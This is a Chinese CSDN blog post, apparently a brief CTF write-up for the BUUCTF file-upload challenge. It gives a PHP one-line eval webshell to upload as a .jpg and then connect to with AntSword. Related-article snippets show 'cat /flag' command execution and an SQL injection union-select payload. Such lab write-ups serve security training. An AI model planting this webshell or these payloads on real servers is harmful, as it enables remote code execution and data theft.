BUU UPLOAD COURSE 1-文件上传

最新推荐文章于 2024-04-08 21:22:02 发布
最新推荐文章于 2024-04-08 21:22:02 发布
阅读量671 收藏 9
点赞数 8
分类专栏： ctf 文章标签： 网络安全
版权声明：本文为博主原创文章，遵循 CC 4.0 BY-SA 版权协议，转载请附上原文出处链接和本声明。
本文链接：https://blog.csdn.net/lin__ying/article/details/135255210
版权

题目

BUU UPLOAD COURSE 1-文件上传

1.打开靶机，文件上传

2.创建一个flag.php.jpg文件

在文件中写入以下木马

<?php @eval($_POST[123])?>

3.上传该文件

4,将链接复制到蚁剑

5.双击打开，进到"/"目录下

看到flag，双击打开

lin___ying
关注
  • 8
    点赞
  • 踩
  • 9
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 0
    评论
专栏目录
BUU刷题-Reveser-FlareOn5-Web2.0(WebAssembly逆向分析)
05-26
1. **解析WASM模块**：使用WABT或其他工具将`test.wasm`转换成人类可读的文本格式，例如Wat。 2. **理解控制流**：识别函数的入口和出口，理解基本块之间的跳转关系。 3. **分析操作码**：理解WASM指令集，识别...
BUU-Reveser-XMAN2018排位赛-easywasm（WebAssembly逆向分析）
最新发布
05-26
在"BUU-Reveser-XMAN2018排位赛-easywasm（WebAssembly逆向分析）"这个挑战中，参赛者需要对名为"easywasm.wasm"的WASM文件进行逆向工程，理解其内部逻辑并可能找到隐藏的漏洞或解决方案。 WASM的主要特点包括： 1...
BUUCTF--BUU UPLOAD COURSE 1
m0_62879498的博客
03-03 7414
BUUCTF–BUU UPLOAD COURSE 1 一进入本题，我们先尝试上传文件，发现我们无论上传什么文件都会上传成功。我们尝试直接上传 shell.php 文件，上传成功，但在访问的时候发现： 我们没有办法访问，使用AntSword进行连接也是报错 题目没有设置上传后缀的限制 但是上传之后任意后缀形式都会被改成.jpg格式（无论我们使用什么办法，包括BP改包，放包后依旧以 .jpg 的格式储存），换句话说 .htaccess 配置文件， 也无法使用我们无法使用中国剑蚁进行连接。 查询了大佬的博客
BUU UPLOAD COURSE 1 文件包含
m0_74196038的博客
03-31 561
反思：这道题虽然难度不大，但是还是花了不少时间，一开始脑子全想着怎么去改后缀了，没有发现隐藏的文件包含这个利用点和file参数。eval函数是没办法直接执行命令的，它是把字符串当作php代码解析。1.页面是一个文件上传的接口，尝试上传一句话木马，上传成功，但是文件后缀被重命名。因为这里不是直接上传php文件，无法用蚁剑直接连接，只能用hackbar输入命令。system函数是php的函数，用来执行系统命令。eval结合system函数就可以执行系统命令。
BUU UPLOAD COURSE 1-文件上传(1)，网络安全开发面试问题回答技巧
m0_60452293的博客
04-08 554
这个方向初期比较容易入门一些，掌握一些基本技术，拿起各种现成的工具就可以开黑了。(img-EcbncQVo-1712582509632)]试辅导），让我们一起学习成长！
BUUCTF Basic BUU UPLOAD COURSE 1
风儿轻轻吹
03-13 3353
BUUCTF 新手练习题
1ncrd#Study-Record#BUUCTF[第二章 web进阶]XSS闯关1.md
08-10
一些关于xss的payload
Majin Buu Top HD Anime New Tabs Theme-crx插件
03-15
每次打开一个新选项卡，您将获得Majin Buu提供的不同高清壁纸 这个新主题包括时钟等等。 魔鬼的布欧（the devil，Buu），日本动漫《七龙珠》中的义与恶的角色，是《七龙珠》综合实力最强的BOSS。 这个名字来自电影...
POSN:POSN-BUU的源代码
04-01
1. **面向对象编程**：C++支持面向对象编程（OOP），这可能意味着代码中包含多个类，每个类代表了系统中的一个实体或功能，如定位器、传感器、数据处理器等。类之间可能存在继承、封装和多态性等特性。 2. **模板和...
BUUCTF：BUU UPLOAD COURSE 1[WriteUP]
如有错误感谢斧正
04-06 507
这里我们构造的木马是POST的方式上传，那就用MaxHacKBar来执行。接下来把我们要执行的命令以POST的方式赋值给shell就可以命令执行了。eval函数是无法直接执行命令的，只能把字符串当作php代码解析。点击"Load URL"并且把刚才我们上传的文件路径粘贴到后面。经测试这里发现直接用一句话木马，用蚁剑连接也是可以成功的。的值使得服务器执行system命令。最后也是在根目录下找到了flag。也是可以在根目录找到flag。利用eval函数解析。
BUUCTF Basic 解题记录--BUU UPLOAD COURSE 1
weixin_43171033的博客
10-07 515
3、上传一句话木马，用jpg格式存储，然后在hackbar 的file= 参数后面替换掉上传的文件路径；并在postdata输入如下命令，执行即可获得flag。1、打开链接发现是让上传文件，随意上传一个txt文件发现直接显示jpg格式，然后尝试其他文件，上传后还是被改成jpg格式；2、打开Hackbar，发现在file= 这个参数替换掉刚才上传的文件路径，能查看到文件的内容；
BUU UPLOAD COURSE 1 1（一句话木马+蚁剑）
小谢的博客
10-25 2655
BUU UPLOAD COURSE 1 1（一句话木马+蚁剑）题解
BUU UPLOAD COURSE 1-文件上传(1)，网络安全插件化、模块化、组件化、热修复、增量更新、Gradle
2301_76379269的博客
04-03 284
开发、大数据、鸿蒙、计算机网络、嵌入式物联网、软件测试、数据结构与算法、音视频开发、Flutter、IOS开发、PHP开发、.NET、安卓逆向、云计算**对于从来没有接触过网络安全的同学，我们帮你准备了详细的学习成长路线图。可以说是最科学最系统的学习路线，大家跟着这个大的方向学习准没问题。因篇幅有限，仅展示部分资料。在文件中写入以下木马。
BUUCTF/BUU UPLOAD COURSE 1
weixin_44041994的博客
03-21 272
我们直接上传webshell文件，发现自动将php后缀改为了jpg后缀。后续通过一系列burp suit更改发现无法绕过。随手上传一个echo 123的php发现直接访问修改文件名后的文件，可以执行代码。重新上传webshell并用中国蚁剑进行连接。连接成功，在根目录下找到flag文件。打开靶机，发现是一个文件上传页面。输入flag值，通关成功。
BUU UPLOAD COURSE 1-文件上传，15个经典面试问题及回答思路
m0_58269520的博客
04-05 746
在结束之际，我想重申的是，学习并非如攀登险峻高峰，而是如滴水穿石般的持久累积。尤其当我们步入工作岗位之后，持之以恒的学习变得愈发不易，如同在茫茫大海中独自划舟，稍有松懈便可能被巨浪吞噬。然而，对于我们程序员而言，学习是生存之本，是我们在激烈市场竞争中立于不败之地的关键。一旦停止学习，我们便如同逆水行舟，不进则退，终将被时代的洪流所淘汰。因此，不断汲取新知识，不仅是对自己的提升，更是对自己的一份珍贵投资。让我们不断磨砺自己，与时代共同进步，书写属于我们的辉煌篇章。需要完整版PDF学习资源私我。
BUU UPLOAD COURSE 1【basic】
weixin_52942048的博客
10-07 273
请求参数：添加两个 {"file": "uploads/6520874b1e440.jpg", "x": "cat /flag"}1、先打开链接，上传一个普通文件，发现它会被默认存为一个jpg文件，那么通过蚁剑的方式是行不通的。3、将txt文件上传，复制图片地址，打开浏览器、BurpSuite代理，将请求参数进行修改。可以看到返回的结果中执行了 cat /flag。2、新建一个txt文件，将下面内容贴进去。
逗比学CTF.day4
weixin_45963786的博客
01-17 343
BUU UPLOAD COURSE 1 这是提到简单的文件上传漏洞，没有任何过滤，只是重命名，但是坑挖在了访问的时候。 一、原题源码（解题后获取的） 1.index.php <?php /** * Created by PhpStorm. * User: jinzhao * Date: 2019/7/9 * Time: 7:07 AM */ if(isset($_GET['file'])) { $re = '/^uploads\/[\d|\w]*.jpg$/m'; $str
BUU SQL COURSE 1
CyhDl666的博客
03-12 3372
进入题目给了两个页面 一开始以为在注入点在登录页面 尝试了万能密码 和 各种闭合 没发现注入的方式 接着尝试了热点列表页面的注入 但是url上好像不存在注入 F12在net中找到了隐藏的url 访问content_detail.php?id=1页面构造payload ?id=0 union select 1,group_concat(table_name) from information_schema.tables where table_schema=database()# # admin、co.
buu cipher
10-23
Buu Cipher 是一种对称加密算法，也被称为布式密码。它是一种较为简单的加密算法，基于置换和替代的原理进行加密和解密。Buu Cipher 的加密过程可以简单地分为两个步骤：混淆和扩散。 首先，混淆步骤使用一个密钥和置换表对明文进行置换。置换表是由密钥生成的，用于打乱明文中字符的顺序。这样，原本明文中相邻的字符将被分散到密文中的不同位置，增加了密文的复杂性。 其次，扩散步骤通过将每个字符替换为另一个字符来进一步混淆数据。此替换过程可以由算法中的扩散函数完成，该函数使用密钥和置换表来生成相应的替代字符。这样，明文中的每个字符都将被替换为不同的字符。 解密过程与加密过程相反。先使用相同的密钥和置换表进行扩散的逆向操作，将密文中的每个字符恢复为替代字符。然后使用相同的密钥和置换表进行混淆的逆向操作，恢复密文中字符的顺序，即可得到原始的明文。 尽管 Buu Cipher 是一种较为简单的加密算法，但它仍可以提供基本的保密性，以防止未授权者对加密数据的解读。然而，它的加密强度相对较低，可能容易受到密码分析方法的攻击。因此，在实际应用中，我们可能需要结合其他更为复杂和安全的加密算法来提高数据的保密性。
评论
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付：10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

lin___ying

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付：¥1
获取中
扫码支付

您的余额不足，请更换扫码支付或充值

打赏作者

实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明：

1.余额是钱包充值的虚拟货币，按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载，可以购买VIP、付费专栏及课程。

余额充值